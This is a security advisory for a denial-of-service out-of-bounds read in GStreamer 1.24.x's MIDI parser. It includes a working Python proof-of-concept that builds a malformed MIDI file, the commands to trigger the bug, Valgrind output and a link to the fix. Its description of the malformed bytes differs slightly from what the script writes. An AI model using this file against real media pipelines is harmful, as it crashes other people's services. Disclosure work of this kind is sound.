Details
- Version: 1.24.x
- CVE ID: CVE-2025-67329
- Vendor Homepage: https://gstreamer.freedesktop.org
- Affected Product Code Base: gst-plugins-bad 1.24.x series (vulnerable), fixed in 1.26.0 and later
- Affected Component:
gst/midi/midiparse.c,handle_meta_event()function (line ~710) - CVE Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67329
- Exploit Author: VyPr AI
- Fix Status: This vulnerability affects GStreamer 1.24.x, which is no longer maintained. No backport will be provided to the 1.24 series. Users should upgrade to GStreamer 1.26.0 or later, where this issue was already fixed through parser improvements
Description
An out-of-bounds read in the handle_meta_event() function of GStreamer Project v1.24.x allows attackers to cause a Denial of Service (DoS) via a crafted Midi file.
Attack Vectors
User must open or process a malicious MIDI file with a meta event (0xFF) followed by a type byte but missing the required length field. When the file is parsed by GStreamer’s midiparse element, the parser increments track->offset beyond the track data buffer size before checking boundaries, resulting in out-of-bounds memory reads.
Steps to Reproduce
-
Run following script to generate malicious MIDI file
malicious_meta_oob.mid#!/usr/bin/env python3 """ CVE-2025-67329: GStreamer MIDI Parser handle_meta_event OOB Read PoC Targets: GStreamer 1.24.x series Vulnerability: In handle_meta_event(), after incrementing track->offset, the code doesn't check if offset >= size before accessing the buffer. """ import struct def create_midi_header(): """Create MIDI file header (MThd chunk)""" chunk_type = b'MThd' length = struct.pack('>I', 6) format_type = struct.pack('>H', 0) # Format 0 (single track) ntrks = struct.pack('>H', 1) # 1 track division = struct.pack('>H', 480) # 480 ticks per quarter note return chunk_type + length + format_type + ntrks + division def create_malicious_track(): """ Create track with meta event at end without length field. Meta event format: 0xFF <type> <length> <data> We put 0xFF at the last byte. After track->offset += 1, offset will equal size, causing OOB read when trying to read the length. """ chunk_type = b'MTrk' # Delta time = 0 delta = bytes([0x00]) # Meta event: 0xFF at the end - no type byte, no length meta_start = bytes([0xFF]) # Track data: just delta + meta event start track_data = delta + meta_start length = struct.pack('>I', len(track_data)) return chunk_type + length + track_data def main(): midi_data = create_midi_header() + create_malicious_track() with open('malicious_meta_oob.mid', 'wb') as f: f.write(midi_data) print(f"[+] Generated malicious_meta_oob.mid ({len(midi_data)} bytes)") print("[*] Test: gst-launch-1.0 filesrc location=malicious_meta_oob.mid ! midiparse ! fakesink") print("[!] Expected: OOB read in handle_meta_event after track->offset increment") if __name__ == '__main__': main()python3 poc_meta_oob.py -
Run Valgrind to observe out-of-bounds read
valgrind gst-launch-1.0 filesrc location=malicious_meta_oob.mid ! midiparse ! fakesink -
The Valgrind output shows invalid read in handle_meta_event after track->offset increment
Proof of Concept
Valgrind Output (GStreamer 1.24.2)
Key Evidence: Look for Invalid read of size 1 errors (3 instances) and Address 0x... is 2 bytes after a block of size 24 showing the out-of-bounds access in meta event handling.
==2284835== Memcheck, a memory error detector
==2284835== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==2284835== Using Valgrind-3.26.0 and LibVEX; rerun with -h for copyright info
==2284835== Command: gst-launch-1.0 filesrc location=malicious_meta_oob.mid ! midiparse ! fakesink
==2284835==
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...
==2284835== Invalid read of size 1
==2284835== at 0x4866128: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835== by 0x4C9CA63: clone (clone.S:100)
==2284835== Address 0x55b6f28 is 0 bytes after a block of size 24 alloc'd
==2284835== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284835== by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x59CC884: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835== by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835== by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835== by 0x4C9CA63: clone (clone.S:100)
==2284835==
==2284835== Invalid read of size 1
==2284835== at 0x48662E8: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835== by 0x4C9CA63: clone (clone.S:100)
==2284835== Address 0x55b6f29 is 1 bytes after a block of size 24 alloc'd
==2284835== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284835== by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x59CC884: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835== by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835== by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835== by 0x4C9CA63: clone (clone.S:100)
==2284835==
==2284835== Invalid read of size 1
==2284835== at 0x48662F9: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x486738C: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835== by 0x4C9CA63: clone (clone.S:100)
==2284835== Address 0x55b6f2a is 2 bytes after a block of size 24 alloc'd
==2284835== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==2284835== by 0x4A27B09: g_malloc (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x59CC884: ??? (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835== by 0x59CDCD2: gst_adapter_take (in /usr/lib/x86_64-linux-gnu/libgstbase-1.0.so.0.2402.0)
==2284835== by 0x4866DDA: ??? (in /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstmidi.so)
==2284835== by 0x4937BB3: ??? (in /usr/lib/x86_64-linux-gnu/libgstreamer-1.0.so.0.2402.0)
==2284835== by 0x4A56531: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4A50D91: ??? (in /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.8000.0)
==2284835== by 0x4C0FAA3: start_thread (pthread_create.c:447)
==2284835== by 0x4C9CA63: clone (clone.S:100)
==2284835==
ERROR: from element /GstPipeline:pipeline0/GstMidiParse:midiparse0: Internal data stream error.
Additional debug info:
../gst/midi/midiparse.c(1287): gst_midi_parse_loop (): /GstPipeline:pipeline0/GstMidiParse:midiparse0:
streaming stopped, reason error (-5)
ERROR: pipeline doesn't want to preroll.
Setting pipeline to NULL ...
Freeing pipeline ...
==2284835==
==2284835== HEAP SUMMARY:
==2284835== in use at exit: 611,380 bytes in 1,738 blocks
==2284835== total heap usage: 29,314 allocs, 27,576 frees, 3,325,974 bytes allocated
==2284835==
==2284835== For a detailed leak analysis, rerun with: --leak-check=full
==2284835==
==2284835== For lists of detected and suppressed errors, rerun with: -s
==2284835== ERROR SUMMARY: 3 errors from 3 contexts (suppressed: 0 from 0)
References
- CVE Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-67329
- Fix Commit (main): https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/288c9e0d47b6619ddc3a6686597bed0658dd14e3
- Merge Request: https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/10276
- GStreamer Project: https://gstreamer.freedesktop.org